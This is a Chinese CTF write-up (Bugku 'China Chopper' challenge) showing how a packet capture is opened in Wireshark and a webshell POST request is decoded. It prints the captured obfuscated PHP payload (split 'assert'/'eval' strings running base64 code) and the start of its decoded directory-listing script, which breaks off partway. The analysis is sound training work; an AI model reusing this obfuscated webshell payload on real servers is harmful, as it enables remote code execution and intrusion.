【BUGKU】CTF ＞＞分析---中国菜刀

最新推荐文章于 2025-03-24 11:06:00 发布

Chenamao

最新推荐文章于 2025-03-24 11:06:00 发布

阅读量2.3k

点赞数

文章标签： php wireshark 安全

本文链接：https://blog.youkuaiyun.com/Chenamao/article/details/107900594

版权

这篇博客详细介绍了如何分析一个名为中国菜刀的CTF挑战，通过Wireshark抓取并解析网络数据包。博主关注了POST请求，特别是通过Base64编码的数据，并揭示了这些数据包中隐藏的目录信息。最终，博主成功解码数据，找到了关键的钥匙，验证后获得成功。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

【BUGKU】CTF >>分析---中国菜刀

解压完成后发现为pcapng文件格式

利用wireshark (我们的小鲨鱼)打开文件。

第一个数据包：

可以看出客户端用POST方式访问服务器的3.PHP文件

POST请求

123=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0M6XFx3d3dyb290XFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));

注：这是经过base64进行编码过的数据

base64解码：

@ini_set("display_errors","0");

@set_time_limit(0);

if(PHP_VERSION<'5.3.0'){

@set_magic_quotes_runtime(0);